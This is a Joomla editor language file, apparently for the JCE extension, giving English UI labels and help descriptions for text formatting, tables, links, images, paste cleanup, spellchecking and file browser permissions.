WF_SUB_DESC ="Apply or remove a subscript on the selected text. The text size will be reduced and the text set slightly below the normal line of type." WF_SUP_TITLE ="Superscript" WF_SUP_DESC ="Apply or remove a superscript on the selected text. The text size will be reduced and the text set slightly above the normal line of type." WF_TABLE_TITLE ="Tables" WF_TABLE_DESC ="Insert and Edit Tables. Includes tools for inserting, removing and merging cells and rows" WF_TEXTCASE_TITLE ="Text Case" WF_TEXTCASE_DESC ="Change the case of the selected text. Options include Sentence case, Camel Case, UPPERCASE and lowercase." WF_UNDERLINE_TITLE ="Underline" WF_UNDERLINE_DESC ="Apply or remove an underline on the selected text" WF_UNDO_TITLE ="Undo" WF_UNDO_DESC ="Undo the last action" WF_UNLINK_TITLE ="Unlink" WF_UNLINK_DESC ="Remove the link on the selected text or element" WF_VISUALAID_TITLE ="Visual Aid" WF_VISUALAID_DESC ="Toggle Visual Aids." WF_VISUALCHARS_TITLE ="Visual Characters" WF_VISUALCHARS_DESC ="Toggle Visual Characters. These include visual representations of non-breaking spaces and block elements." WF_XHTMLXTRAS_TITLE ="XHTML Extras" WF_XHTMLXTRAS_DESC ="Add additional properties on an element such as Insertion, Deletion, Acronym and Abbreviation." WF_BLOCKQUOTE_TITLE ="Blockquote" WF_BLOCKQUOTE_DESC ="Insert or remove a Blockquote" WF_AUTOSAVE_TITLE ="AutoBackup" WF_AUTOSAVE_DESC ="Automatically save drafts of the current article at regular intervals" WF_CITE_TITLE ="Citation" WF_CITE_DESC ="Apply or edit a Citation attribute on a selection" WF_ABBR_TITLE ="Abbreviation" WF_ABBR_DESC ="Apply or edit an Abbreviation attribute on a selection" WF_INS_TITLE ="Insertion" WF_INS_DESC ="Apply or edit an Insertion attribute on a selection" WF_ACRONYM_TITLE ="Acronym" WF_ACRONYM_DESC ="Apply or edit an Accronym attribute on a selection" WF_DEL_TITLE ="Deletion" WF_DEL_DESC ="Apply or edit an Deletion attribute on a selection" WF_COLORPICKER_TITLE ="Colour Picker" WF_COLORPICKER_DESC ="Colour Selection Dialog." ;#################### Aticle Breaks ################################ WF_ARTICLE_PARAM_HIDE_BUTTONS ="Hide Joomla! Readmore / PageBreak" WF_ARTICLE_PARAM_HIDE_BUTTONS_DESC ="Hide the Joomla! Readmore and Pagebreak buttons at the bottom of the editor as Article Breaks performs the same functions better." WF_ARTICLE_PARAM_SHOW_READMORE ="Show Readmore button" WF_ARTICLE_PARAM_SHOW_READMORE_DESC="Show the Readmore button in the Editor Toolbar." WF_ARTICLE_PARAM_SHOW_PAGEBREAK ="Show Pagebreak button" WF_ARTICLE_PARAM_SHOW_PAGEBREAK_DESC="Show the Pagebreak button in the Editor Toolbar." WF_TAB_PAGEBREAK ="Pagebreak" ;#################### Source Editor ################################ WF_SOURCE_HIGHLIGHT ="Syntax Highlighting" WF_SOURCE_HIGHLIGHT_DESC ="Set Syntax Highlighting (source code colouring) on by default" WF_SOURCE_NUMBERS ="Line Numbers" WF_SOURCE_WRAP ="Wrap Long Lines" WF_SOURCE_NUMBERS_DESC ="Show Line Numbers (only if Syntax Higlighting is on)" WF_SOURCE_WRAP_DESC ="Wrap lines that extend beyond the editor width" WF_SOURCE_UNDO ="Undo" WF_SOURCE_REDO ="Redo" WF_SOURCE_THEME ="Theme" WF_SOURCE_THEME_DESC ="Syntax Highlighter Theme" ;#################### File Browser ################################n WF_BROWSER_HELP_ABOUT ="About the File Browser" WF_BROWSER_HELP_INTERFACE ="The File Browser Interface" WF_BROWSER_HELP_INSERT ="Inserting a file" ;#################### Autosave ################################ WF_AUTOSAVE_ASK ="Ask before unload" WF_AUTOSAVE_ASK_DESC ="Ask before restoring content" WF_AUTOSAVE_INTERVAL ="Backup Interval (seconds)" WF_AUTOSAVE_INTERVAL_DESC ="Backup every X seconds" WF_AUTOSAVE_RETENTION ="Storage time (minutes)" WF_AUTOSAVE_RETENTION_DESC ="Store backup for X minutes" WF_AUTOSAVE_MINLENGTH ="Minumum Content Length" WF_AUTOSAVE_MINLENGTH_DESC ="An article must be at leaset this many characters long before a backup will occur" ;#################### Link ################################ WF_LINK_JOOMLALINKS_TITLE ="Joomla! Links" WF_LINK_JOOMLALINKS_DESC ="Link to Joomla! internal content for the Link Browser" WF_TAB_LINK ="Link" WF_LINK_PARAM_DEFAULT_TARGET ="Default Target" WF_LINK_PARAM_DEFAULT_TARGET_DESC ="Select Default Target" WF_LINK_PARAM_FILE_BROWSER ="Show File Browser Button" WF_LINK_PARAM_FILE_BROWSER_DESC ="This will show a file browser button next to the URL field which will open a File Browser dialog when clicked allowing the user to create links to files." WF_LINK_LINK ="Link" WF_LINK_LINK_TEXT ="Text" WF_LINK_LINK_TEXT_DESC ="Text::If no content selection is made or if the selection is plain text, enter new or edit the text for the link here" WF_LABEL_ANCHORS ="Anchors" WF_LABEL_ANCHORS_DESC ="Anchors::List of available anchors in the document to link to." WF_LABEL_LINKBROWSER ="Link Browser" WF_LABEL_EMAIL ="E-Mail" WF_LABEL_HREFLANG ="Target Language Code" WF_LABEL_HREFLANG_DESC ="Target Language Code::Langueg code of the target url" WF_LABEL_MIME_TYPE ="Target MIME Type" WF_LABEL_MIME_TYPE_DESC ="Target Mimetype::MIME (Multipurpose Internet Mail Extensions) Type of the target url eg: text/html" WF_LABEL_CHARSET ="Target character encoding" WF_LABEL_CHARSET_DESC ="Target character encoding::Character encoding of the target url, eg: utf-8" WF_LABEL_REL ="Relationship page to target" WF_LABEL_REL_DESC ="Relationship page to target::Relationship between the current page and the target url" WF_LABEL_REV ="Relationship target to page" WF_LABEL_REV_DESC ="Relationship target to page::Relationship target url and the current page" WF_LINK_HELP_ABOUT ="What is Link?" WF_LINK_HELP_INTERFACE ="About the Interface" WF_LINK_HELP_LINKS ="The Link Browser" WF_LINK_HELP_INSERT ="Inserting/Updating a Link" WF_LINK_HELP_EVENTS ="The Events Tab" WF_LINK_HELP_ADVANCED ="The Advanced Tab" WF_LINK_HELP_EMAIL ="Creating an E-mail address" WF_LINK_HELP_POPUP ="Creating a Popup" WF_LINK_PARAM_TAB_ADVANCED ="Show Advanced Tab" WF_LINK_PARAM_TAB_ADVANCED_DESC ="Show the Advanced tab for setting additional, advanced link options" WF_LINK_SHOW_ANCHOR ="Show Anchor List" WF_LINK_SHOW_ANCHOR_DESC ="Show the Anchor List options in the Link dialog" WF_LINK_SHOW_TARGET ="Show Target List" WF_LINK_SHOW_TARGET_DESC ="Show the Target List options in the Link dialog" ;#################### Tables ################################ WF_TABLES_TABLE_TITLE ="Insert / Edit Table" WF_TABLES_ROW_TITLE ="Edit Row" WF_TABLES_CELL_TITLE ="Edit Cell" WF_TABLES_MERGE_TITLE ="Merge Cells" WF_TAB_MERGE ="Merge" ;#################### Help ################################ WF_EDITOR_HELP_ABOUT ="About the Editor" WF_EDITOR_HELP_TOOLBAR ="Editor Toolbar" WF_EDITOR_HELP_TABS ="Editor Tabs" WF_EDITOR_HELP_CONTENT ="Editor Content Area" WF_EDITOR_HELP_PATH ="Element Path" WF_EDITOR_HELP_BUTTONS ="Editor Buttons" WF_EDITOR_HELP_LICENCE ="Licence" WF_EDITOR_HELP_ACKNOWLEDGEMENTS ="Acknowledgements" WF_EDITOR_HELP_PLUGINS ="Plugins" WF_EDITOR_HELP_BASICS ="Editing Basics" WF_EDITOR_HELP_SELECTION ="Selecting text and elements" WF_EDITOR_HELP_FORMAT ="Formatting text and elements" WF_EDITOR_HELP_FORMAT_BOLD ="Bold, Italic, Underline and Strikethrough" WF_EDITOR_HELP_FORMAT_BLOCKS ="Headers, Block Elements and Blockquote" WF_EDITOR_HELP_FORMAT_SUB ="Superscript and Subscript" WF_EDITOR_HELP_FORMAT_FONT ="Font Styling" WF_EDITOR_HELP_FORMAT_ALIGN ="Alignment" WF_EDITOR_HELP_FORMAT_INDENT ="Indent and Outdent" WF_EDITOR_HELP_FORMAT_ATTRIBUTES ="Editing element attributes" WF_EDITOR_HELP_LISTS ="Creating Lists" WF_EDITOR_HELP_READMORE ="Readmore and Page Break" WF_EDITOR_HELP_LINKS ="Creating and Editing Links" WF_EDITOR_HELP_IMAGES ="Inserting images" WF_EDITOR_HELP_TABLES ="Inserting Tables" WF_EDITOR_HELP_PASTE ="Cut, Copy & Paste" WF_EDITOR_HELP_SPELLCHECKER ="Spellchecker" ;#################### Image Manager ################################ WF_IMGMANAGER_HIDE_BUTTONS ="Hide Joomla! Image Button" WF_IMGMANAGER_HIDE_BUTTONS_DESC ="Hide Joomla! Image Button" WF_IMGMANAGER_HELP ="Image Manager Help" WF_IMGMANAGER_HELP_ABOUT ="What is the Image Manager?" WF_IMGMANAGER_HELP_INTERFACE ="About the Interface" WF_IMGMANAGER_HELP_ROLLOVER ="Rollver Images" WF_IMGMANAGER_HELP_ADVANCED ="The Advanced Tab" WF_IMGMANAGER_HELP_INSERT ="Inserting/Updating" WF_LABEL_MOUSEOVER ="Mouseover" WF_LABEL_MOUSEOVER_DESC ="Mouseover::Image to be displayed when the mouse is over the element" WF_LABEL_MOUSEOUT ="Mouseout" WF_LABEL_MOUSEOUT_DESC ="Mouseout::Image to be displayed when the mouse is not over the element" WF_LABEL_ROLLOVER_ENABLE_DESC ="Enable Rollover::Click to enable image rollover." WF_LABEL_ROLLOVER_IMAGE ="Rollover Image" WF_LABEL_USEMAP ="Image Map" WF_LABEL_USEMAP_DESC ="Image Map::Id of associated image map, eg: #map" WF_TAB_IMAGE ="Image" WF_TAB_ROLLOVER ="Rollover" WF_IMGMANAGER_SHOW_DIMENSIONS ="Show Dimensions Options" WF_IMGMANAGER_SHOW_DIMENSIONS_DESC ="User can see and set the image dimensions (width and height)" WF_IMGMANAGER_SHOW_ALIGN ="Show Alignment Options" WF_IMGMANAGER_SHOW_ALIGN_DESC ="User can see and set the image alignment" WF_IMGMANAGER_SHOW_MARGIN ="Show Margin Options" WF_IMGMANAGER_SHOW_MARGIN_DESC ="User can see and set the margin values around the image" WF_IMGMANAGER_SHOW_BORDER ="Show Border Options" WF_IMGMANAGER_SHOW_BORDER_DESC ="User can see and set the image border options (width, style, colour)" WF_IMGMANAGER_PARAM_TAB_ROLLOVER ="Show Rollover Tab" WF_IMGMANAGER_PARAM_TAB_ROLLOVER_DESC ="Show the Rollover tab with additional options for creating image rollovers" WF_IMGMANAGER_PARAM_TAB_ADVANCED ="Show Advanced Tab" WF_IMGMANAGER_PARAM_TAB_ADVANCED_DESC ="Show the Advanced tab for setting additional, advanced image options" ;#################### Media Support ################################ WF_MEDIA_PARAM_STRICT ="Strict XHTML Flash" WF_MEDIA_PARAM_STRICT_DESC ="Embed Flash files using a single object (no embed element)" WF_MEDIA_PARAM_IFRAMES ="Allow IFrames" WF_MEDIA_PARAM_IFRAMES_DESC ="Allow IFrame elements to be included in content" WF_MEDIA_PARAM_VIDEO ="Allow HTML5 Video" WF_MEDIA_PARAM_VIDEO_DESC ="Allow HTML5 Video elements to be included in content" WF_MEDIA_PARAM_AUDIO ="Allow HTML5 Audio" WF_MEDIA_PARAM_AUDIO_DESC ="Allow HTML5 Audio elements to be included in content" WF_MEDIA_PARAM_OBJECT ="Allow OBJECT Elements" WF_MEDIA_PARAM_OBJECT_DESC ="Allow OBJECT elements to be included in content. This is required to embed Adobe Flash Player®, Quicktime® etc." WF_MEDIA_PARAM_EMBED ="Allow EMBED Elements" WF_MEDIA_PARAM_EMBED_DESC ="Allow EMBED elements to be included in content. This is required to embed Adobe Flash Player®, Quicktime® etc." ; +++++ Added in 2.0.1 ++++++ WF_MEDIA_VERSION_FLASH ="Adobe® Flash® Player Version" WF_MEDIA_VERSION_WINDOWSMEDIA ="Windows® Media Player Version" WF_MEDIA_VERSION_QUICKTIME ="Apple Quicktime® Player Version" WF_MEDIA_VERSION_SHOCKWAVE ="Adobe® Shockwave® Player Version" WF_MEDIA_VERSION_JAVA ="Java Version" ;#################### Paste ################################ WF_PASTE_PARAM_CLASSES ="Strip Class Attributes" WF_PASTE_PARAM_CLASSES_DESC ="This feature allows you to control whether or not class attributes are stripped when pasting from Word.
      • All - will strip all class attributes from the pasted content
      • None - will not strip any class attributes from the pasted content.
      • Word Specific - will strip out all of the Word specific class attributes, but retain all others.
      " WF_PASTE_PARAM_ALL ="All" WF_PASTE_PARAM_NONE ="None" WF_PASTE_PARAM_MSO ="Word Specific" WF_PASTE_PARAM_LISTED ="As Listed" WF_PASTE_PARAM_SPANS ="Remove all SPANS" WF_PASTE_PARAM_SPANS_DESC ="Remove all spans from pasted content" WF_PASTE_PARAM_STYLES ="Remove all Styles" WF_PASTE_PARAM_STYLES_DESC ="Remove styles from pasted content" WF_PASTE_PARAM_RETAIN_STYLES ="Styles to keep" WF_PASTE_PARAM_RETAIN_STYLES_DESC="Comma separated list of style properties to retain when pasting if Remove Styles is No. By default all valid styles are retained.
      Example: font-size,font-family,color." WF_PASTE_PARAM_REMOVE_STYLES_WEBKIT="Remove Webkit Styles" WF_PASTE_PARAM_REMOVE_STYLES_WEBKIT_DESC="If true, removes all style information when pasting in WebKit since it has a serious paste bug. Default is false. " WF_PASTE_PARAM_WIDTH ="Dialog Width" WF_PASTE_PARAM_WIDTH_DESC ="Width of the Paste Dialog in pixels (px)" WF_PASTE_PARAM_HEIGHT ="Dialog Height" WF_PASTE_PARAM_HEIGHT_DESC ="Height of the Paste Dialog in pixels (px)" WF_PASTE_PARAM_REMOVE_PARAGRAPHS ="Remove empty paragraphs" WF_PASTE_PARAM_REMOVE_PARAGRAPHS_DESC="Empty paragraphs are removed from pasted content or converted into linebreaks if the Global Configuration 'Newlines' option is set to 'Linebreaks'." WF_PASTE_PARAM_PASTE_TEXT ="Allow Paste As Plain Text" WF_PASTE_PARAM_PASTE_TEXT_DESC ="Allow users to paste content as plain text (stripped of html)" WF_PASTE_PARAM_PASTE_HTML ="Allow Paste As HTML" WF_PASTE_PARAM_PASTE_HTML_DESC ="Allow users to paste content with html intact. Word specific and other html will automatically be cleaned based on the parameter settings." WF_PASTE_PARAM_DIALOG ="Use Paste dialog" WF_PASTE_PARAM_DIALOG_DESC ="Always use the Paste Dialog when pasting (except when using CTRL+V)" WF_PASTE_FORCE_CLEANUP ="Microsoft Word® cleanup" WF_PASTE_FORCE_CLEANUP_DESC ="Content from applications like Microsoft Word® and OpenOffice.org Writer often include code not suitable for HTML documents. The cleanup action will attempt to convert or remove this code." WF_PASTE_FORCE_CLEANUP_DETECT ="Only if detected" WF_PASTE_FORCE_CLEANUP_ALWAYS ="Always" WF_PASTE_HELP_ABOUT ="Using the Paste Buttons" ;#################### Spellchecker ################################ WF_SPELLCHECKER_PARAM_ENGINE ="Engine" WF_SPELLCHECKER_PARAM_ENGINE_DESC ="Select a spellchecking engine." WF_SPELLCHECKER_PARAM_GOOGLE ="GoogleSpell" WF_SPELLCHECKER_PARAM_ENCHANT ="EnchantSpell" WF_SPELLCHECKER_PARAM_PSPELL_PHP ="Internal PHP PSpell" WF_SPELLCHECKER_PARAM_PSPELL_CLINE ="Commmand Line PSpell" WF_SPELLCHECKER_PARAM_LANGUAGES ="Languages" WF_SPELLCHECKER_PARAM_LANGUAGES_DESC ="List of languages. List the default language first, eg: English=en,Deutsch=de" WF_SPELLCHECKER_PARAM_PSPELL_MODE ="PSPELL Mode" WF_SPELLCHECKER_PARAM_PSPELL_MODE_DESC ="PSpell specific option. PSpell has various modes that makes it more or less exact it has a impact on performance." WF_SPELLCHECKER_PARAM_PSPELL_SPELLING ="PSPELL Spelling Parameter" WF_SPELLCHECKER_PARAM_PSPELL_SPELLING_DESC ="PSpell specific setting. Enables you to control the spelling parameter of PSpell. (Advanced users only)." WF_SPELLCHECKER_PARAM_PSPELL_JARGON ="PSPELL Jargon" WF_SPELLCHECKER_PARAM_PSPELL_JARGON_DESC ="PSpell specific setting. Enables you to control the jargon parameter of PSpell. (Advanced users only)." WF_SPELLCHECKER_PARAM_PSPELL_ENCODING ="PSPELL Encoding" WF_SPELLCHECKER_PARAM_PSPELL_ENCODING_DESC ="PSpell specific setting. Enables you to control the encoding parameter of PSpell. (Advanced users only)." WF_SPELLCHECKER_PARAM_PSPELLSHELL ="PSpell location" WF_SPELLCHECKER_PARAM_PSPELLSHELL_DESC ="Location of PSpell executable file. This option is only used if the PspellShell engine is selected." WF_SPELLCHECKER_PARAM_PSPELLSHELL_TMP ="TMP Directory" WF_SPELLCHECKER_PARAM_PSPELLSHELL_TMP_DESC ="Location of a writable temp directory." WF_SPELLCHECKER_PARAM_PSPELL_DICTIONARY ="PSpell Dictionary" WF_SPELLCHECKER_PARAM_PSPELL_DICTIONARY_DESC="Relative Path to PSPell Dictionary" ;#################### Tables ############################################ WF_TABLES_TITLE ="Tables" WF_TABLES_HELP_EDIT ="Creating and Editing Tables" WF_TABLES_HELP_DELETE ="Deleting Tables" WF_TABLES_HELP_ROWS ="Creating and Editing Table Rows" WF_TABLES_HELP_CELLS ="Creating and Editing Table Cells" ;++ Added in 2.0.11 ++ WF_TABLES_PARAM_WIDTH ="Width" WF_TABLES_PARAM_WIDTH_DESC ="Default Table Width (pixels or percent, eg: 100% or 100px)" WF_TABLES_PARAM_HEIGHT ="Height" WF_TABLES_PARAM_HEIGHT_DESC ="Default Table Height (pixels or percent, eg: 100% or 100px)" WF_TABLES_PARAM_BORDER ="Border" WF_TABLES_PARAM_BORDER_DESC ="Default Border Width" WF_TABLES_PARAM_COLS ="Columns" WF_TABLES_PARAM_COLS_DESC ="Default Number of Columns" WF_TABLES_PARAM_ROWS ="Rows" WF_TABLES_PARAM_ROWS_DESC ="Default Number of Rows" WF_TABLES_PARAM_CELLPADDING ="Cell Padding" WF_TABLES_PARAM_CELLPADDING_DESC="Default Cell Padding" WF_TABLES_PARAM_CELLSPACING ="Cell Spacing" WF_TABLES_PARAM_CELLSPACING_DESC="Default Cell Spacing" ;#################### Style ############################################ WF_TAB_TEXT ="Text" WF_TAB_BACKGROUND ="Background" WF_TAB_BOX ="Box" WF_TAB_LIST ="List" WF_TAB_BLOCK ="Block" WF_TAB_BORDER ="Border" WF_TAB_POSITIONING ="Positioning" ;#################### Search Replace ############################################ WF_TAB_SEARCH ="Search" WF_TAB_REPLACE ="Replace" ;#################### XHTMLXtras ##################################### WF_TAB_STANDARD ="Standard" WF_TAB_EVENTS ="Events" ;#################### Manager Parameters ################################ WF_PARAM_DIRECTORY ="File Directory Path" WF_PARAM_DIRECTORY_DESC ="Relative path to file directory. Defaults to images or the Editor Parameters File Directory Path value if left blank.
      This path can contain the variables :
      • $id - Will be replaced with the user ID
      • $username - Will be replaced with the user username
      • $usertype - Will be replaced with the user usertype eg: author
      • $profile - Will be replaced with the profile name
      • $group - Will be replaced with the profile name
      • $year - Will be replaced with current year, eg: 2010
      • $month - Will be replaced with current month number, eg: 06
      • $day - Will be replaced with the day number, eg: 10
      " WF_PARAM_ALLOW_ROOT ="Allow Root Access" WF_PARAM_ALLOW_ROOT_DESC ="Allow access to the Joomla! Root directory if the File Directory Path value is blank. This is not recommended for security reasons. If set to No and if the File Directory Path value is blank, the File Directory Path will default to images." WF_PARAM_DIRECTORY_RESTRICTED ="Resticted Directories" WF_PARAM_DIRECTORY_RESTRICTED_DESC ="List of directories that cannot be used as the root folder in the File Directory Path. Default is all Joomla! system folders. Not used if Allow Root Access is Yes" WF_PARAM_DIRECTORY_CREATE ="Create File Directory" WF_PARAM_DIRECTORY_CREATE_DESC ="Create above directory on first load if it does not exist." WF_PARAM_UPLOAD_SIZE ="Upload file size (KB)" WF_PARAM_UPLOAD_SIZE_DESC ="Maximum allowed size in kilobytes of uploaded files.
      Cannot be greater than the Server Upload Size.
      Default value is 1024 KB." WF_PARAM_VIEWABLE ="Viewable Files" WF_PARAM_VIEWABLE_DESC ="List of files that are able to be viewed in a popup window" WF_PARAM_UPLOAD ="Upload" WF_PARAM_UPLOAD_DESC ="User can upload files" WF_PARAM_FOLDER_CREATE ="Folder Create" WF_PARAM_FOLDER_CREATE_DESC ="User can create folders" WF_PARAM_FOLDER_DELETE ="Folder Delete" WF_PARAM_FOLDER_DELETE_DESC ="User can delete folders" WF_PARAM_FOLDER_RENAME ="Folder Rename" WF_PARAM_FOLDER_RENAME_DESC ="User can rename folders" WF_PARAM_FILE_DELETE ="File Delete" WF_PARAM_FILE_DELETE_DESC ="User can delete files" WF_PARAM_FILE_RENAME ="File Rename" WF_PARAM_FILE_RENAME_DESC ="User can rename files" WF_PARAM_FILE_PASTE ="File Cut/Copy/Paste" WF_PARAM_FILE_PASTE_DESC ="User can Cut/Copy/Paste files" WF_PARAM_FILESYSTEM ="Filesystem" WF_PARAM_FILESYSTEM_DESC ="Select the Filesystem to use for the File Browser" NOT_SET ="-- Not Set --" WF_PARAM_NOT_SET ="-- Not Set --" ; ++ Added in 2.0.9 ++ WF_PARAM_FOLDER_PASTE ="Folder Cut/Copy/Paste" WF_PARAM_FOLDER_PASTE_DESC ="User can Cut/Copy/Paste folders" ;#################### Margin ################################ WF_PARAM_MARGIN_TOP ="Margin Top" WF_PARAM_MARGIN_TOP_DESC ="Default Top Margin value in pixels (px)" WF_PARAM_MARGIN_BOTTOM ="Margin Bottom" WF_PARAM_MARGIN_BOTTOM_DESC ="Default Bottom Margin value in pixels (px)" WF_PARAM_MARGIN_LEFT ="Margin Left" WF_PARAM_MARGIN_LEFT_DESC ="Default Left Margin value in pixels (px)" WF_PARAM_MARGIN_RIGHT ="Margin Right" WF_PARAM_MARGIN_RIGHT_DESC ="Default Right Margin value in pixels (px)" WF_LABEL_MARGIN ="Margin" WF_LABEL_MARGIN_DESC ="Margin::Space between the element and adjacent elements or text." ;#################### Border ################################ WF_PARAM_BORDER_ENABLE ="Enable Border" WF_PARAM_BORDER_ENABLE_DESC ="Border option enabled by default" WF_PARAM_BORDER_WIDTH ="Border Width" WF_PARAM_BORDER_WIDTH_DESC ="Default Border width in pixels (px)" WF_PARAM_BORDER_STYLE ="Border Style" WF_PARAM_BORDER_STYLE_DESC ="Default Border Style" WF_PARAM_BORDER_COLOR ="Border Colour" WF_PARAM_BORDER_COLOR_DESC ="Default Border Color" WF_PARAM_BORDER_THICK ="Thick" WF_PARAM_BORDER_THIN ="Thin" WF_PARAM_BORDER_MEDIUM ="Medium" WF_LABEL_BORDER ="Border" WF_LABEL_BORDER_DESC ="Border::Creates a border around an element with the selected parameters" WF_OPTION_BORDER_THIN ="thin" WF_OPTION_BORDER_THICK ="thick" WF_OPTION_BORDER_MEDIUM ="medium" WF_OPTION_BORDER_NONE ="none" WF_OPTION_BORDER_SOLID ="solid" WF_OPTION_BORDER_DASHED ="dashed" WF_OPTION_BORDER_DOTTED ="dotted" WF_OPTION_BORDER_DOUBLE ="double" WF_OPTION_BORDER_GROOVE ="groove" WF_OPTION_BORDER_INSET ="inset" WF_OPTION_BORDER_OUTSET ="outset" WF_OPTION_BORDER_RIDGE ="ridge" WF_LABEL_BORDER_ENABLE ="Enable Border" WF_LABEL_BORDER_ENABLE_DESC ="Enable Border by default" WF_LABEL_BORDER_WIDTH_DESC ="Width::Width of the border in pixels or named width" WF_LABEL_BORDER_STYLE_DESC ="Style::Style of the border" WF_LABEL_BORDER_COLOR_DESC ="Color::Hex Color of the border (eg: #000000)" ;#################### Align ################################ WF_PARAM_ALIGN_DEFAULT ="Alignment" WF_PARAM_ALIGN_DEFAULT_DESC ="Default Alignment" WF_LABEL_ALIGN ="Alignment" WF_OPTION_ALIGN_DEFAULT ="--Not Set--" WF_OPTION_ALIGN_BASELINE ="Baseline" WF_OPTION_ALIGN_TOP ="Top" WF_OPTION_ALIGN_MIDDLE ="Middle" WF_OPTION_ALIGN_BOTTOM ="Bottom" WF_OPTION_ALIGN_TEXTTOP ="TextTop" WF_OPTION_ALIGN_ABSMIDDLE ="Absolute Middle" WF_OPTION_ALIGN_ABSBOTTOM ="Absolute Bottom" WF_OPTION_ALIGN_LEFT ="Left" WF_OPTION_ALIGN_RIGHT ="Right" WF_OPTION_ALIGN_CENTER ="Center" WF_OPTION_ALIGN_JUSTIFIED ="Justified" WF_LABEL_ALIGN_DESC ="Alignment::Position of the element on the page or in relation to other elements." ;#################### Admin Labels ################################ WF_LABEL_FILTER ="Filter" WF_LABEL_GO ="Go" WF_LABEL_SEARCH ="Search" WF_LABEL_RESET ="Reset" ;#################### Generic ################################ WF_LABEL_NAME ="Name" WF_LABEL_NAME_DESC ="Name::Defines a unique name for the element" WF_LABEL_VERSION ="Version" WF_LABEL_AUTHOR ="Author" WF_LABEL_LANGUAGE ="Language" WF_LABEL_DATE ="Date" WF_LABEL_SIZE ="Size" WF_LABEL_AUTHOR_INFO ="Author Information" WF_LABEL_TOP ="Top" WF_LABEL_BOTTOM ="Bottom" WF_LABEL_DEFAULT ="Default" WF_LABEL_SAVE ="Save" WF_LABEL_APPLY ="Apply" WF_LABEL_SAVECLOSE ="Save & Close" WF_LABEL_SELECT ="Select" WF_LABEL_OK ="Ok" WF_LABEL_CANCEL ="Cancel" WF_LABEL_REFRESH ="Refresh" WF_LABEL_HELP ="Help" WF_LABEL_INSERT ="Insert" WF_LABEL_PROPERTIES ="Properties" WF_LABEL_ATTRIBUTES ="Attributes" WF_LABEL_ADVANCED ="Advanced" WF_LABEL_PREVIEW ="Preview" WF_LABEL_BYTES ="Bytes" WF_LABEL_KB ="KB" WF_LABEL_MB ="MB" WF_LABEL_BROWSE ="Browse" WF_LABEL_BROWSER ="File Browser" WF_LABEL_SHOW ="Show" WF_LABEL_DETAILS ="Details" WF_LABEL_FOLDERS ="Folders" WF_LABEL_DIMENSIONS ="Dimensions" WF_LABEL_DIMENSIONS_DESC ="Dimensions::Width and Height of the element in pixels." WF_LABEL_PROPORTIONAL ="Proportional" WF_LABEL_URL ="URL" WF_LABEL_URL_DESC ="URL::Relative location of the image, file, article or document, eg: image.jpg (Required)" WF_LABEL_TITLE ="Title" WF_LABEL_TITLE_DESC ="Title::Text to display in a simple tooltip when the mouse is placed over the element." WF_LABEL_STYLE ="Style" WF_LABEL_STYLE_DESC ="Style::List of inline css properties to be applied to the element." WF_LABEL_COLOR ="Color" WF_LABEL_CLASS_LIST ="Class List" WF_LABEL_CLASS_LIST_DESC ="Class List::List of available template css classes" WF_LABEL_CLASSES ="Classes" WF_LABEL_CLASSES_DESC ="Classes::List (seperated by a space) of css classes to be applied to the element." WF_LABEL_ALT ="Alternate Text" WF_LABEL_ALT_DESC ="Alternate Text::A short description of the image (XHTML/WAI 508 Required)" WF_LABEL_EQUAL ="Equal Values" WF_OPTION_YES ="Yes" WF_OPTION_NO ="No" WF_OPTION_NOT_SET ="--Not Set--" WF_OPTION_NONE ="None" WF_OPTION_ALL ="All" WF_OPTION_CENTER ="Center" WF_OPTION_TOP ="Top" WF_OPTION_BOTTOM ="Bottom" WF_OPTION_EXTERNAL ="External" WF_OPTION_AUTO ="Auto" WF_OPTION_ON ="On" WF_OPTION_OFF ="Off" WF_OPTION_BASIC ="Basic" WF_OPTION_ADVANCED ="Advanced" WF_LABEL_LANG ="Language Code" WF_LABEL_LANG_DESC ="Language Code::Language code of the element, eg: en-GB" WF_LABEL_ID ="Id" WF_LABEL_ID_DESC ="Id::Unique identifier that distinguishes the element from others in the document." WF_LABEL_ACCESSKEY ="Access Key" WF_LABEL_ACCESSKEY_DESC ="Access Key::Keyboard shortcut to access the element" WF_LABEL_TABINDEX ="Tab Index" WF_LABEL_TABINDEX_DESC ="Tab Index::Tab order of the element" WF_LABEL_WIDTH ="Width" WF_LABEL_HEIGHT ="Height" WF_LABEL_ADDRESS ="Address" WF_LABEL_LONGDESC ="Long Description" WF_LABEL_LONGDESC_DESC ="Long Description::Url to a document containing a detailed description of the image." WF_LABEL_ENABLE ="Enable" WF_LABEL_TEXT ="Text" WF_LABEL_OPTIONS ="Options" WF_LABEL_LINK ="Link" WF_LABEL_PLUGINS ="Plugins" WF_LABEL_PLUGIN ="Plugin" WF_LABEL_EXTENSIONS ="Extensions" WF_LABEL_EXTENSION ="Extension" WF_LABEL_TYPE ="Type" WF_LABEL_APPLY ="Apply" WF_LABEL_USERNAME ="Username" WF_LABEL_PASSWORD ="Password" WF_LABEL_ERROR ="Error" WF_LABEL_ROOT ="Root" WF_MESSAGE_TREE ="Building Tree List..." WF_MESSAGE_LOAD ="Loading..." WF_ALERT_DELETE ="Delete Selected Item(s)?" WF_ALERT_RENAME ="Renaming files/folders will break existing links. Continue?" WF_LABEL_ALL_FILES ="All Files" ; +++ Added in 2.0.6 +++ WF_LABEL_ALERT ="Alert" WF_MESSAGE_REQUIRED ="The following fields are required:" ;#################### Position (Border, Margin, Padding etc) ################################ WF_OPTION_LEFT ="Left" WF_OPTION_RIGHT ="Right" WF_OPTION_TOP ="Top" WF_OPTION_BOTTOM ="Bottom" WF_OPTION_TOP_LEFT ="Top Left" WF_OPTION_TOP_RIGHT ="Top Right" WF_OPTION_BOTTOM_LEFT ="Bottom Left" WF_OPTION_BOTTOM_RIGHT ="Bottom Right" ;#################### Target ################################ WF_LABEL_TARGET ="Target" WF_LABEL_TARGET_DESC ="Target::Specifies where the link destination document will be loaded." WF_OPTION_TARGET_SELF ="Open in current window / frame" WF_OPTION_TARGET_PARENT ="Open in parent window / frame" WF_OPTION_TARGET_TOP ="Open in top frame (replaces all frames)" WF_OPTION_TARGET_BLANK ="Open in new window" ;#################### Clear ################################ WF_LABEL_CLEAR ="Clear" WF_LABEL_CLEAR_DESC ="Clear::Sides of the element where other elements cannot be situated." WF_OPTION_CLEAR_LEFT ="Left" WF_OPTION_CLEAR_RIGHT ="Right" WF_OPTION_CLEAR_BOTH ="Both" WF_OPTION_CLEAR_NONE ="None" ;#################### Language Direction ################################ WF_LABEL_DIR ="Language Direction" WF_LABEL_DIR_DESC ="Language Direction::Text direction of the element" WF_OPTION_LTR ="Left to Right" WF_OPTION_RTL ="Right to Left" 